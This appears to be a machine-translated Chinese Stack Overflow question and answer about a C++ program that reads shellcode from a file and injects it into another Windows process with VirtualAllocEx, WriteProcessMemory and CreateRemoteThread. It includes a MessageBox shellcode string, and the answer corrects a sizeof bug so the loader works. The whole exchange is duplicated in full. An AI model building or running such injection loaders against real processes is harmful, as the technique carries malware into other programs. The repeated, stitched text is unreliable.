如何注入从文件加载的shellcode?
How inject shellcode loaded from file?
我有一个大问题困扰着我,今天让 tree days 尝试解决。我如何从二进制文件加载 shellcode 并在目标进程中正确注入?当仅使用 shellcode 对程序示例自己的源代码进行测试时,这工作正常。
为什么当 shellcode 来自文件时这不起作用?某天有人遇到过这个问题吗?
这是测试的代码(改编自 this 以显示 MessageBox)>
#include <windows.h>
#include <iostream>
#include <fstream>
#include <future>
using namespace std;
int main(int argc, char** argv) {
int process_id = atoi(argv[1]);
//MessageBox
//char xcode[] = "\x31\xc9\x64\x8b\x41\x30\x8b\x40\xc\x8b\x70\x14\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x1\xda\x8b\x52\x78\x1\xda\x8b\x72\x20\x1\xde\x31\xc9\x41\xad\x1\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x4\x72\x6f\x63\x41\x75\xeb\x81\x78\x8\x64\x64\x72\x65\x75\xe2\x8b\x72\x24\x1\xde\x66\x8b\xc\x4e\x49\x8b\x72\x1c\x1\xde\x8b\x14\x8e\x1\xda\x31\xc9\x53\x52\x51\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x53\xff\xd2\x83\xc4\xc\x59\x50\x51\x66\xb9\x6c\x6c\x51\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x54\xff\xd0\x83\xc4\x10\x8b\x54\x24\x4\xb9\x6f\x78\x41\x0\x51\x68\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x54\x50\xff\xd2\x83\xc4\x10\x68\x61\x62\x63\x64\x83\x6c\x24\x3\x64\x89\xe6\x31\xc9\x51\x56\x56\x51\xff\xd0";
vector<char> xcode;
ifstream infile;
infile.open("shellcode.bin", std::ios::in | std::ios::binary);
infile.seekg(0, std::ios::end);
size_t file_size_in_byte = infile.tellg();
xcode.resize(file_size_in_byte);
infile.seekg(0, std::ios::beg);
infile.read(&xcode[0], file_size_in_byte);
infile.close();
HANDLE process_handle;
DWORD pointer_after_allocated;
process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, process_id);
if (process_handle == NULL)
{
puts("[-]Error while open the process\n");
}
else {
puts("[+] Process Opened sucessfully\n");
}
pointer_after_allocated = (DWORD)VirtualAllocEx(process_handle, NULL, sizeof(xcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pointer_after_allocated == NULL) {
puts("[-]Error while get the base address to write\n");
}
else {
printf("[+]Got the address to write 0x%x\n", pointer_after_allocated);
}
if (WriteProcessMemory(process_handle, (LPVOID)pointer_after_allocated, &xcode[0] /*(LPCVOID) shellcode*/, sizeof(xcode), 0)) {
puts("[+]Injected\n");
puts("[+]Running the shellcode as new thread !\n");
CreateRemoteThread(process_handle, NULL, 100, (LPTHREAD_START_ROUTINE)pointer_after_allocated, NULL, NULL, NULL);
}
else {
puts("Not Injected\n");
}
return 0;
}
因为您正在使用sizeof(xcode)
。在第一种情况下,它是一个字符串常量,其大小在编译时已知。在您的情况下,第二个是 sizeof (xcode) returns 4(或 8,具体取决于体系结构)。您应该改用 file_size_in_byte。看这段代码:
pointer_after_allocated = (DWORD)VirtualAllocEx(process_handle, NULL, sizeof(xcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
....
if (WriteProcessMemory(process_handle, (LPVOID)pointer_after_allocated, &xcode[0] /*(LPCVOID) shellcode*/, sizeof(xcode), 0))
VirtualAllocEx 和 WriteProcessMemory 中的 sizeof 都没有意义。考虑用文件大小替换:
pointer_after_allocated = (DWORD)VirtualAllocEx(process_handle, NULL, file_size_in_byte, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
....
if (WriteProcessMemory(process_handle, (LPVOID)pointer_after_allocated, &xcode[0], file_size_in_byte, 0))
正如 Botje 评论的那样:
更新 1:您可以传递 xcode.data()
和 xcode.size()
而不是
更新 2:C++ 转义符号 \x31
,四个符号(字节),是二进制字节的 C++ 文本十六进制表示。是人类 read/edited 的意思。真正的.bin文件应该不是带有C++转义符号的文本文件,可以用十六进制编辑器编辑。
我有一个大问题困扰着我,今天让 tree days 尝试解决。我如何从二进制文件加载 shellcode 并在目标进程中正确注入?当仅使用 shellcode 对程序示例自己的源代码进行测试时,这工作正常。
为什么当 shellcode 来自文件时这不起作用?某天有人遇到过这个问题吗?
这是测试的代码(改编自 this 以显示 MessageBox)>
#include <windows.h>
#include <iostream>
#include <fstream>
#include <future>
using namespace std;
int main(int argc, char** argv) {
int process_id = atoi(argv[1]);
//MessageBox
//char xcode[] = "\x31\xc9\x64\x8b\x41\x30\x8b\x40\xc\x8b\x70\x14\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x1\xda\x8b\x52\x78\x1\xda\x8b\x72\x20\x1\xde\x31\xc9\x41\xad\x1\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x4\x72\x6f\x63\x41\x75\xeb\x81\x78\x8\x64\x64\x72\x65\x75\xe2\x8b\x72\x24\x1\xde\x66\x8b\xc\x4e\x49\x8b\x72\x1c\x1\xde\x8b\x14\x8e\x1\xda\x31\xc9\x53\x52\x51\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x53\xff\xd2\x83\xc4\xc\x59\x50\x51\x66\xb9\x6c\x6c\x51\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x54\xff\xd0\x83\xc4\x10\x8b\x54\x24\x4\xb9\x6f\x78\x41\x0\x51\x68\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x54\x50\xff\xd2\x83\xc4\x10\x68\x61\x62\x63\x64\x83\x6c\x24\x3\x64\x89\xe6\x31\xc9\x51\x56\x56\x51\xff\xd0";
vector<char> xcode;
ifstream infile;
infile.open("shellcode.bin", std::ios::in | std::ios::binary);
infile.seekg(0, std::ios::end);
size_t file_size_in_byte = infile.tellg();
xcode.resize(file_size_in_byte);
infile.seekg(0, std::ios::beg);
infile.read(&xcode[0], file_size_in_byte);
infile.close();
HANDLE process_handle;
DWORD pointer_after_allocated;
process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, process_id);
if (process_handle == NULL)
{
puts("[-]Error while open the process\n");
}
else {
puts("[+] Process Opened sucessfully\n");
}
pointer_after_allocated = (DWORD)VirtualAllocEx(process_handle, NULL, sizeof(xcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pointer_after_allocated == NULL) {
puts("[-]Error while get the base address to write\n");
}
else {
printf("[+]Got the address to write 0x%x\n", pointer_after_allocated);
}
if (WriteProcessMemory(process_handle, (LPVOID)pointer_after_allocated, &xcode[0] /*(LPCVOID) shellcode*/, sizeof(xcode), 0)) {
puts("[+]Injected\n");
puts("[+]Running the shellcode as new thread !\n");
CreateRemoteThread(process_handle, NULL, 100, (LPTHREAD_START_ROUTINE)pointer_after_allocated, NULL, NULL, NULL);
}
else {
puts("Not Injected\n");
}
return 0;
}
因为您正在使用sizeof(xcode)
。在第一种情况下,它是一个字符串常量,其大小在编译时已知。在您的情况下,第二个是 sizeof (xcode) returns 4(或 8,具体取决于体系结构)。您应该改用 file_size_in_byte。看这段代码:
pointer_after_allocated = (DWORD)VirtualAllocEx(process_handle, NULL, sizeof(xcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
....
if (WriteProcessMemory(process_handle, (LPVOID)pointer_after_allocated, &xcode[0] /*(LPCVOID) shellcode*/, sizeof(xcode), 0))
VirtualAllocEx 和 WriteProcessMemory 中的 sizeof 都没有意义。考虑用文件大小替换:
pointer_after_allocated = (DWORD)VirtualAllocEx(process_handle, NULL, file_size_in_byte, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
....
if (WriteProcessMemory(process_handle, (LPVOID)pointer_after_allocated, &xcode[0], file_size_in_byte, 0))
正如 Botje 评论的那样:
更新 1:您可以传递 xcode.data()
和 xcode.size()
而不是
更新 2:C++ 转义符号 \x31
,四个符号(字节),是二进制字节的 C++ 文本十六进制表示。是人类 read/edited 的意思。真正的.bin文件应该不是带有C++转义符号的文本文件,可以用十六进制编辑器编辑。